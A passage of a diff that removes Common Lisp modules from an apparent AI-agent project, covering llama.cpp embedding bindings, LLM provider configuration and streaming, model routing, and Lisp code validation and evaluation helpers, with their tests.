-(cffi:defcfun ("llama_vocab_n_tokens" vnt) :int32 (vocab :pointer))
-(cffi:defcfun ("llama_tokenize" tok) :int32 (vocab :pointer) (text :string) (len :int32) (tokens :pointer) (n-max :int32) (add-special :bool) (parse-special :bool))
-(cffi:defcfun ("llama_get_embeddings_ith" embd-ith) :pointer (ctx :pointer) (i :int32))
-(cffi:defcfun ("llama_get_embeddings_seq" embd-seq) :pointer (ctx :pointer) (seq-id :int32))
-(cffi:defcfun ("llama_pooling_type" get-pooling) :int32 (ctx :pointer))
-(cffi:defcfun ("llama_model_free" fm) :void (m :pointer))
-(cffi:defcfun ("llama_free" fc) :void (ctx :pointer))
-
-;; C wrapper (bridges struct-by-value ABI)
-(cffi:defcfun ("llama_wrap_model_load" wrap-load) :pointer (path :string) (params :pointer))
-(cffi:defcfun ("llama_wrap_new_context" wrap-ctx) :pointer (model :pointer) (params :pointer))
-(cffi:defcfun ("llama_wrap_encode" wrap-encode) :int32 (ctx :pointer) (batch :pointer))
-(cffi:defcfun ("llama_wrap_batch_init" wrap-batch-init) :void (batch :pointer) (n-tokens :int32) (embd :int32) (n-seq-max :int32))
-(cffi:defcfun ("llama_wrap_batch_free" wrap-batch-free) :void (batch :pointer))
-
-(defvar *native-model* nil
-  "Cached llama.cpp model for embedding inference.")
-
-(defvar *native-context* nil
-  "Cached llama.cpp context for embedding inference.")
-
-(defvar *native-vocab* nil
-  "Cached llama.cpp vocab handle (from model).")
-
-(defvar *native-model-path*
-  (merge-pathnames ".local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf"
-                   (user-homedir-pathname))
-  "Path to the bundled embedding model GGUF file.")
-
-(defun embedding-native-load-model ()
-  "Load the embedding model and create a context. Caches globally."
-  (unless (and *native-model* *native-context*)
-    (unless (uiop:file-exists-p *native-model-path*)
-      (error "Native embedding model not found at ~a" *native-model-path*))
-    (sb-int:set-floating-point-modes :traps '())
-    (bl)
-    ;; Load model
-    (cffi:with-foreign-object (mp '(:struct llama-mparams))
-      (mdp mp)
-      (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'n-gpu-layers) 0)
-      (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'use-mmap) 0)
-      (setf *native-model* (wrap-load (namestring *native-model-path*) mp)))
-    (setf *native-vocab* (gv *native-model*))
-    ;; Create context
-    (let ((n-embd (ne *native-model*)))
-      (cffi:with-foreign-object (cp '(:struct llama-cparams))
-        (cdp cp)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ctx) 512)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-batch) 512)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ubatch) 512)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-seq-max) 1)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-threads) 2)
-        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'embeddings) 1)
-        (setf *native-context* (wrap-ctx *native-model* cp)))
-      (format *error-output* "~&;; EMBEDDING: Native model loaded (~d-dim)~%" n-embd)))
-  (values *native-model* *native-context* *native-vocab*))
-
-(defun embedding-backend-native (text)
-  "Compute an embedding vector using the native llama.cpp backend.
-Returns a simple-vector of single-floats (dimension: n_embd, typically 768)."
-  (embedding-native-load-model)
-  (let* ((n-embd (ne *native-model*))
-         (max-tokens 256)
-         (tokens (cffi:foreign-alloc :int32 :count max-tokens))
-         (n-tok 0))
-    (unwind-protect
-        (progn
-          (setf n-tok (tok *native-vocab* text (length text) tokens max-tokens t t))
-          (when (zerop n-tok)
-            (error "Native embedding: tokenization returned 0 tokens for ~s" text))
-          (let ((result (make-array n-embd :element-type 'single-float :initial-element 0.0f0)))
-            (cffi:with-foreign-object (batch '(:struct llama-batch))
-              (wrap-batch-init batch n-tok 0 1)
-              (setf (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-tokens) n-tok)
-              (dotimes (i n-tok)
-                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'token) :int32 i)
-                      (cffi:mem-aref tokens :int32 i))
-                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'pos) :int32 i) i)
-                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-seq-id) :int32 i) 1)
-                (setf (cffi:mem-aref (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'seq-id) :pointer i) :int32 0) 0)
-                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'logits) :int8 i) 1))
-              (let ((enc (wrap-encode *native-context* batch)))
-                (unless (zerop enc)
-                  (error "Native embedding: encode returned ~d" enc)))
-              (let* ((pooling (get-pooling *native-context*))
-                     (eptr (if (= pooling 0)
-                               (embd-ith *native-context* (1- n-tok))
-                               (embd-seq *native-context* 0))))
-                (dotimes (i n-embd)
-                  (setf (aref result i) (cffi:mem-aref eptr :float i))))
-              (wrap-batch-free batch))
-            result))
-      (cffi:foreign-free tokens))))
-
-(defun embedding-native-unload ()
-  "Release native model and context memory."
-  (when *native-context*
-    (fc *native-context*)
-    (setf *native-context* nil))
-  (when *native-model*
-    (fm *native-model*)
-    (setf *native-model* nil *native-vocab* nil))
-  (values))
-
-(defun embedding-native-get-dim ()
-  "Return embedding dimension of loaded native model (0 if not loaded)."
-  (if *native-model*
-      (ne *native-model*)
-      0))
-
-(defun vector-cosine-similarity (a b)
-  "Cosine similarity between two simple-vectors of single-floats."
-  (let ((dot 0.0d0) (anorm 0.0d0) (bnorm 0.0d0))
-    (dotimes (i (length a))
-      (let ((af (float (aref a i) 0.0d0))
-            (bf (float (aref b i) 0.0d0)))
-        (incf dot (* af bf))
-        (incf anorm (* af af))
-        (incf bnorm (* bf bf))))
-    (if (or (zerop anorm) (zerop bnorm))
-        0.0d0
-        (/ dot (sqrt (* anorm bnorm))))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-embedding-native-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:embedding-native-suite))
-
-(in-package :passepartout-embedding-native-tests)
-
-(def-suite embedding-native-suite :description "Verification of Native Embedding Inference")
-(in-suite embedding-native-suite)
-
-(test test-native-embedding-available
-  "Contract v0.4.1: backend function exists and model file is present."
-  (is (fboundp 'passepartout::embedding-backend-native))
-  (is (uiop:file-exists-p passepartout::*native-model-path*)))
-
-(test test-native-embedding-loads
-  "Contract v0.4.1: model loads and produces a valid context."
-  (finishes (passepartout::embedding-native-load-model)))
-
-(test test-native-embedding-dimensions
-  "Contract v0.4.1: embedding produces correct-dimensional vector."
-  (let ((vec (passepartout::embedding-backend-native "test sentence")))
-    (is (vectorp vec))
-    (is (= (length vec) 768))
-    (is (typep (aref vec 0) 'single-float))))
-
-(test test-native-embedding-identical
-  "Contract v0.4.1: identical texts produce identical embeddings."
-  (let ((v1 (passepartout::embedding-backend-native "hello world"))
-        (v2 (passepartout::embedding-backend-native "hello world")))
-    (is (= (length v1) (length v2)))
-    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
-      (is (> sim 0.9999)))))
-
-(test test-native-embedding-similar
-  "Contract v0.4.1: semantically similar texts are closer than unrelated."
-  (let ((v-auth (passepartout::embedding-backend-native "implement user login form"))
-        (v-related (passepartout::embedding-backend-native "add password authentication"))
-        (v-unrelated (passepartout::embedding-backend-native "banana fruit yellow")))
-    (let ((sim-related (passepartout::vector-cosine-similarity v-auth v-related))
-          (sim-unrelated (passepartout::vector-cosine-similarity v-auth v-unrelated)))
-      (is (> sim-related 0.5))
-      (is (> sim-related sim-unrelated)))))

lisp/neuro-explorer.lisp

@@ -1,109 +0,0 @@
-(in-package :passepartout)
-
-(defvar *model-cache* (make-hash-table :test 'equal)
-  "Cache: provider keyword -> (timestamp . model-list)")
-
-(defvar *model-cache-ttl* 300
-  "Cache TTL in seconds (default 5 min)")
-
-(defun model-explorer-fetch-openrouter ()
-  "Query OpenRouter /api/v1/models and return parsed model list."
-  (handler-case
-      (let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
-             (json (cl-json:decode-json-from-string raw))
-             (data (cdr (assoc :data json))))
-        (mapcar (lambda (m)
-                  (let ((pricing (cdr (assoc :pricing m))))
-                    (list :id (cdr (assoc :id m))
-                          :name (cdr (assoc :name m))
-                          :context (cdr (assoc :context_length m))
-                          :free (and pricing
-                                     (string= "0" (cdr (assoc :prompt pricing)))
-                                     (string= "0" (cdr (assoc :completion pricing)))))))
-                data))
-    (error (c)
-      (log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
-      nil)))
-
-(defun model-explorer-fetch (provider)
-  "Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
-  (let ((cached (gethash provider *model-cache*)))
-    (when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
-      (return-from model-explorer-fetch (cdr cached))))
-  (let ((models (case provider
-                  (:openrouter (model-explorer-fetch-openrouter))
-                  (t nil))))
-    (when models
-      (setf (gethash provider *model-cache*)
-            (cons (get-universal-time) models)))
-    models))
-
-(defun model-explorer-list-free ()
-  "Return all free models from cache or fetch."
-  (remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
-
-(defun model-explorer-recommend (slot)
-  "Return recommended models for SLOT (:code, :chat, :plan, :background)."
-  (case slot
-    (:code
-     '((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
-       (:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
-       (:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
-    (:plan
-     '((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
-       (:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
-       (:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
-    (:chat
-     '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
-       (:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
-       (:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
-    (:background
-     '((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
-       (:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
-     (t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
-
-(defvar *slot-descriptions*
-  '((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
-    (:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
-    (:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
-    (:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
-
-;; REPL-verified: 2026-05-04
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ignore-errors (ql:quickload :fiveam :silent t)))
-
-(defpackage :passepartout-neuro-explorer-tests
-  (:use :cl :passepartout)
-  (:export #:model-explorer-suite))
-
-(in-package :passepartout-neuro-explorer-tests)
-
-(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
-
-(fiveam:in-suite model-explorer-suite)
-
-(fiveam:test model-explorer-recommend-slots
-  "Contract 1: recommend returns models for all standard slots."
-  (dolist (slot '(:code :chat :plan :background))
-    (let ((recs (passepartout::model-explorer-recommend slot)))
-      (fiveam:is (listp recs))
-      (fiveam:is (>= (length recs) 1)))))
-
-(fiveam:test model-explorer-recommend-format
-  "Contract 1: each recommendation has :id and :name."
-  (dolist (rec (passepartout::model-explorer-recommend :chat))
-    (fiveam:is (getf rec :id))
-    (fiveam:is (getf rec :name))))
-
-(fiveam:test model-explorer-recommend-unknown-slot
-  "Contract 1: unknown slot returns fallback list."
-  (let ((recs (passepartout::model-explorer-recommend :unknown)))
-    (fiveam:is (listp recs))
-    (fiveam:is (>= (length recs) 1))))
-
-(fiveam:test model-explorer-fetch-openrouter-count
-  "Contract 2: OpenRouter API returns at least 300 models."
-  (let ((models (passepartout::model-explorer-fetch :openrouter)))
-    (if models
-        (fiveam:is (>= (length models) 300))
-        (fiveam:skip "API unreachable"))))

lisp/neuro-provider.lisp

@@ -1,244 +0,0 @@
-(in-package :passepartout)
-
-(defparameter *provider-configs*
-  '((:local      . (:base-url nil          :key-env nil           :url-env "LOCAL_BASE_URL"            :default-model "llama3"))
-    (:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
-    (:openai     . (:base-url "https://api.openai.com/v1"    :key-env "OPENAI_API_KEY"     :default-model "gpt-4o-mini"))
-    (:anthropic  . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY"  :default-model "claude-3-5-sonnet-20241022"))
-    (:groq       . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY"     :default-model "llama-3.1-70b-versatile"))
-    (:gemini     . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
-    (:deepseek   . (:base-url "https://api.deepseek.com/v1"  :key-env "DEEPSEEK_API_KEY"  :default-model "deepseek-chat"))
-    (:nvidia     . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
-
-(defun provider-config (provider)
-  "Returns the configuration plist for a provider keyword."
-  (cdr (assoc provider *provider-configs*)))
-
-(defun provider-available-p (provider)
-  "Checks if a provider is configured. Checks API key or URL env vars."
-  (let* ((config (provider-config provider))
-         (key-env (getf config :key-env))
-         (url-env (getf config :url-env))
-         (base-url (getf config :base-url)))
-    (cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
-          (url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
-          (base-url t))))
-
-(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter) tools)
-  "Executes a request against any OpenAI-compatible API endpoint.
-When :tools is provided, includes function-calling tool definitions in the request."
-  (let* ((config (provider-config provider))
-         (base-url (getf config :base-url))
-         (key-env (getf config :key-env))
-         (url-env (getf config :url-env))
-         (default-model (getf config :default-model))
-         (api-key (when key-env (uiop:getenv key-env)))
-         (model-id (or model default-model))
-         (url (if url-env
-                  (let ((host (uiop:getenv url-env)))
-                    (if host
-                        (format nil "http://~a/v1/chat/completions" host)
-                        (format nil "~a/chat/completions" base-url)))
-                  (format nil "~a/chat/completions" base-url)))
-         (timeout (or (ignore-errors
-                        (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
-                      30))
-         (headers `(("Content-Type" . "application/json")
-                    ,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
-                    ,@(when (eq provider :openrouter)
-                        `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
-                          ("X-Title" . "Passepartout")))))
-         (body (let ((base `((model . ,model-id)
-                            (messages . (( (role . "system") (content . ,system-prompt) )
-                                         ( (role . "user") (content . ,prompt) ))))))
-                 (if tools
-                     (append base
-                             `((tools . ,(loop for tool in tools
-                                                collect (list (cons :|type| "function")
-                                                              (cons :|function| (loop for (k v) on tool by #'cddr
-                                                                                      collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
-                               (:|tool_choice| . "auto")))
-                     base)))
-         (body-json (cl-json:encode-json-to-string body)))
-    (handler-case
-        (let* ((response (dex:post url :headers headers :content body-json
-                                  :connect-timeout (min 5 timeout)
-                                  :read-timeout (max 10 (- timeout 5))))
-               (json (cl-json:decode-json-from-string response))
-               (choices (cdr (assoc :choices json)))
-               (first-choice (car choices))
-               (message (cdr (assoc :message first-choice)))
-               (tool-calls (cdr (assoc :|tool_calls| message)))
-               (content (cdr (assoc :content message))))
-          (cond
-            (tool-calls
-             (list :status :success
-                   :tool-calls
-                   (loop for tc in tool-calls
-                         for fun = (cdr (assoc :|function| tc))
-                         for args-str = (cdr (assoc :|arguments| fun))
-                         for args = (when args-str (cl-json:decode-json-from-string args-str))
-                         collect (list :name (cdr (assoc :|name| fun))
-                                       :arguments args))))
-            (content
-             (list :status :success :content content))
-            (t
-             (list :status :error :message (format nil "~a: No content" provider)))))
-      (error (c)
-        (list :status :error :message (format nil "~a Failure: ~a" provider c))))))
-
-(defun provider-register-all ()
-  "Scans environment variables and registers all available LLM backends."
-  (dolist (entry *provider-configs*)
-    (let ((provider (car entry)))
-      (when (provider-available-p provider)
-        (log-message "LLM BACKEND: Registering provider ~a" provider)
-        (register-probabilistic-backend provider
-          (lambda (prompt system-prompt &key model tools)
-            (provider-openai-request prompt system-prompt :model model :provider provider :tools tools)))))))
-
-(defun provider-cascade-initialize ()
-  "Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
-  (let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
-    (if cascade-str
-        (setf *provider-cascade*
-              (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
-                      (uiop:split-string cascade-str :separator '(#\,))))
-        (setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
-                                                             (member (car e) '(:local)))
-                                                           *provider-configs*))))))
-
-(defun test-provider-connection (provider &optional api-key)
-  "Test a provider API key by hitting its models endpoint.
-Returns (:ok) on success, (:fail reason) on failure.
-If API-KEY is nil, reads from environment."
-  (let* ((config (provider-config provider))
-         (base-url (getf config :base-url))
-         (key-env (getf config :key-env))
-         (url-env (getf config :url-env))
-         (key (or api-key (when key-env (uiop:getenv key-env)))))
-    (handler-case
-        (let ((url (if url-env
-                       (let ((host (or (uiop:getenv url-env) "")))
-                         (format nil "http://~a/api/tags" host))
-                       (format nil "~a/models" (or base-url "")))))
-          (if key-env
-              (progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
-                              :connect-timeout 5 :read-timeout 10)
-                     '(:ok))
-              (if url-env
-                  (progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
-                  '(:fail "No URL source for this provider"))))
-      (error (c) `(:fail ,(format nil "~a" c))))))
-
-(provider-register-all)
-(provider-cascade-initialize)
-
-(defskill :passepartout-neuro-provider
-  :priority 50
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(defun cascade-stream (prompt system-prompt callback)
-  "Streaming cascade: calls provider-openai-stream on the first available backend.
-Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
-  (dolist (backend *provider-cascade*)
-    (when (gethash backend *probabilistic-backends*)
-      (let ((result (provider-openai-stream prompt system-prompt callback
-                                           :provider backend)))
-        (when (eq (getf result :status) :success)
-          (return cascade-stream))))))
-
-(in-package :passepartout)
-
-(defun parse-sse-line (line)
-  "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise."
-  (cond
-    ((or (null line) (string= line "")) nil)
-    ((char= (char line 0) #\:) nil)
-    ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: "))
-     (let ((content (subseq line 6)))
-       (if (string= content "[DONE]")
-           :done
-           content)))
-    (t nil)))
-
-(defvar *stream-cancel* nil
-  "When T, the streaming SSE loop exits early.")
-
-(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools)
-  "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''."
-  (let* ((config (provider-config provider))
-         (base-url (getf config :base-url))
-         (key-env (getf config :key-env))
-         (url-env (getf config :url-env))
-         (default-model (getf config :default-model))
-         (api-key (when key-env (uiop:getenv key-env)))
-         (model-id (or model default-model))
-         (url (if url-env
-                  (let ((host (uiop:getenv url-env)))
-                    (if host
-                        (format nil "http://~a/v1/chat/completions" host)
-                        (format nil "~a/chat/completions" base-url)))
-                  (format nil "~a/chat/completions" base-url)))
-         (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30))
-         (req-headers (list (cons "Content-Type" "application/json")))
-         (base `((model . ,model-id)
-                 (messages . (( (role . "system") (content . ,system-prompt) )
-                              ( (role . "user") (content . ,prompt) )))
-                 (stream . t))))
-    (when api-key
-      (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers))
-    (when (eq provider :openrouter)
-      (setf req-headers
-            (append req-headers
-                    `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
-                      ("X-Title" . "Passepartout")))))
-    (let ((body (if tools
-                    (append base
-                            `((tools . ,(loop for tool in tools
-                                              collect (list (cons :|type| "function")
-                                                            (cons :|function|
-                                                                  (loop for (k v) on tool by #'cddr
-                                                                        collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
-                              (:|tool_choice| . "auto")))
-                    base)))
-      (handler-case
-          (let* ((body-json (cl-json:encode-json-to-string body))
-                 (stall-seconds 30)
-                 (s (dex:post url :headers req-headers :content body-json
-                             :connect-timeout (min 5 timeout)
-                             :read-timeout stall-seconds
-                             :want-stream t)))
-            ;; v0.7.1: track stall timer — reset on each successful chunk
-            (let ((last-chunk-time (get-universal-time)))
-              (loop for raw = (handler-case (read-line s nil nil)
-                                (error (c)
-                                  (declare (ignore c))
-                                  nil))
-                     while raw
-                     do (when *stream-cancel*  ; v0.7.1: cancel check
-                          (setf *stream-cancel* nil)
-                          (funcall callback " [cancelled]")
-                          (return))
-                        (let ((parsed (parse-sse-line raw)))
-                         (cond
-                           ((null parsed))
-                           ((eq parsed :done) (return))
-                           (t (handler-case
-                                  (let* ((json (cl-json:decode-json-from-string parsed))
-                                         (choices (cdr (assoc :choices json)))
-                                         (choice (car choices))
-                                         (delta (cdr (assoc :delta choice)))
-                                         (content (cdr (assoc :content delta))))
-                                    (when content
-                                      (funcall callback content)
-                                      (setf last-chunk-time (get-universal-time))))
-                                (error ())))))
-                    (when (> (- (get-universal-time) last-chunk-time) stall-seconds)
-                      (funcall callback "[Response stalled — timed out at 30s]")
-                      (return))))
-            (funcall callback "")
-            (close s)
-            (list :status :success))
-        (error (c)
-          (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))

lisp/neuro-router.lisp

@@ -1,90 +0,0 @@
-(in-package :passepartout)
-
-(defvar *model-cascade-code* nil
-  "Cascade for :code tasks: ((:ollama . \"model\") ...)")
-
-(defvar *model-cascade-plan* nil
-  "Cascade for :plan tasks.")
-
-(defvar *model-cascade-chat* nil
-  "Cascade for :chat tasks.")
-
-(defvar *model-cascade-background* nil
-  "Cascade for background tasks (heartbeat, delegation).")
-
-(defvar *local-backends* '(:ollama :llama-cpp)
-  "Backend keywords considered local (privacy-safe).")
-
-(defun model-classify-complexity (text)
-  "Classify TEXT into :code, :plan, or :chat."
-  (let ((lower (string-downcase text)))
-    (cond
-      ((or (search "defun" lower) (search "defmacro" lower)
-           (search "write" lower) (search "refactor" lower)
-           (search "fix " lower) (search "implement" lower)
-           (search "code" lower)
-           (search "#+begin_src" lower))
-       :code)
-      ((or (search "plan" lower) (search "roadmap" lower)
-           (search "strategy" lower) (search "design" lower)
-           (search "architecture" lower))
-       :plan)
-      (t :chat))))
-
-(defun model-cascade-find (cascade backend)
-  "Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
-  (assoc backend cascade
-         :test (lambda (a b) (string-equal (string a) (string b)))))
-
-(defun model-select (backend context)
-  "Select model for BACKEND given CONTEXT signal.
-Returns model name or :skip."
-  (let* ((payload (getf context :payload))
-         (text (or (getf payload :text) ""))
-         (sensor (getf payload :sensor))
-         (has-personal (and (boundp '*dispatcher-privacy-tags*)
-                            (some (lambda (tag) (search tag text))
-                                  (symbol-value '*dispatcher-privacy-tags*))))
-         (is-local (member backend *local-backends*)))
-    ;; Privacy: skip cloud backends for personal content
-    (when (and has-personal (not is-local))
-      (log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
-      (return-from model-select :skip))
-    ;; Quadrant: background tasks use background cascade
-    (if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
-        (let ((entry (car (or *model-cascade-background*
-                              '((:ollama . "phi-2"))))))
-          (cdr entry))
-        ;; Foreground: classify complexity, use slot cascade
-        (let* ((slot (model-classify-complexity text))
-               (cascade (case slot
-                          (:code *model-cascade-code*)
-                          (:plan *model-cascade-plan*)
-                          (t *model-cascade-chat*)))
-               (entry (model-cascade-find
-                       (or cascade '((:ollama . "qwen2.5:14b"))) backend)))
-          (if entry (cdr entry) nil)))))
-
-(defun model-router-init ()
-  "Read env vars and wire model-select into *model-selector*."
-  (flet ((parse-cascade (str)
-           (when (and str (> (length str) 0))
-             (let ((*read-eval* nil))
-               (read-from-string str)))))
-    (setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
-          *model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
-          *model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
-          *model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
-          *local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
-                             (if env
-                                 (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
-                                         (uiop:split-string env :separator '(#\,)))
-                                 '(:ollama :llama-cpp)))))
-    (setf *model-selector* #'model-select)
-    (log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
-
-(defskill :passepartout-model-router
-  :priority 250
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(model-router-init)

lisp/programming-lisp.lisp

@@ -1,246 +0,0 @@
-(in-package :passepartout)
-
-(defun lisp-structural-check (code)
-  "Checks if parentheses are balanced and the code is readable."
-  (handler-case
-      (let ((*read-eval* nil))
-        (with-input-from-string (s code)
-          (loop for form = (read s nil :eof) until (eq form :eof)))
-        (values t nil))
-    (error (c)
-      (values nil (format nil "Reader Error: ~a" c)))))
-
-(defun lisp-syntactic-check (code)
-  "Checks for valid Lisp syntax beyond just balanced parentheses."
-  (lisp-structural-check code))
-
-(defun lisp-semantic-check (code)
-  "Checks for potentially unsafe forms."
-  (let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval")))
-    (loop for token in unsafe-tokens
-          when (search token (string-downcase code))
-          do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token))))
-    (values t nil)))
-
-(defun lisp-validate (code &key (strict t))
-  "Unified validation gate for Lisp code."
-  (multiple-value-bind (struct-ok struct-err) (lisp-structural-check code)
-    (unless struct-ok
-      (return-from lisp-validate (list :status :error :reason struct-err)))
-    (when strict
-      (multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code)
-        (unless sem-ok
-          (return-from lisp-validate (list :status :error :reason sem-err)))))
-    (list :status :success)))
-
-(defun lisp-eval (code-string &key (package :passepartout))
-  "Evaluates a Lisp string and captures its output/results."
-  (let ((out (make-string-output-stream))
-        (err (make-string-output-stream)))
-    (handler-case
-        (let* ((*standard-output* out)
-               (*error-output* err)
-               (*package* (or (find-package package) (find-package :passepartout)))
-               (result (with-input-from-string (s code-string)
-                         (let ((last-val nil))
-                           (loop for form = (read s nil :eof) until (eq form :eof)
-                                 do (setf last-val (eval form)))
-                           last-val))))
-          (list :status :success
-                :result (format nil "~a" result)
-                :output (get-output-stream-string out)
-                :error (get-output-stream-string err)))
-      (error (c)
-        (list :status :error
-              :reason (format nil "~a" c)
-              :output (get-output-stream-string out)
-              :error (get-output-stream-string err))))))
-
-(defun lisp-format (code-string)
-  "Attempts to format Lisp code using Emacs batch mode if available."
-  (handler-case
-      (let ((tmp-file "/tmp/oc-format-temp.lisp"))
-        (uiop:with-output-file (s tmp-file :if-exists :supersede)
-          (format s "~a" code-string))
-        (multiple-value-bind (out err code)
-            (uiop:run-program (list "emacs" "--batch" tmp-file 
-                                   "--eval" "(indent-region (point-min) (point-max))"
-                                   "--eval" "(princ (buffer-string))")
-                             :output :string :error-output :string :ignore-error-status t)
-          (if (= code 0)
-              out
-              (progn
-                (log-message "FORMAT ERROR: ~a" err)
-                code-string))))
-    (error (c)
-      (log-message "FORMAT EXCEPTION: ~a" c)
-      code-string)))
-
-(defun lisp-extract (code function-name)
-  "Extracts the definition of a specific function from a code string."
-  (let ((*read-eval* nil))
-    (with-input-from-string (s code)
-      (loop for form = (read s nil :eof) until (eq form :eof)
-            when (and (listp form) 
-                      (symbolp (car form))
-                      (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
-                      (symbolp (second form))
-                      (string-equal (symbol-name (second form)) function-name))
-            do (return-from lisp-extract (format nil "~s" form))))
-    nil))
-
-(defun lisp-wrap (code target-name wrapper-symbol)
-  "Wraps a specific form in a wrapper form (e.g., wrap in a let)."
-  (let ((*read-eval* nil) (results nil))
-    (with-input-from-string (s code)
-      (loop for form = (read s nil :eof) until (eq form :eof)
-            do (if (and (listp form) 
-                        (symbolp (second form))
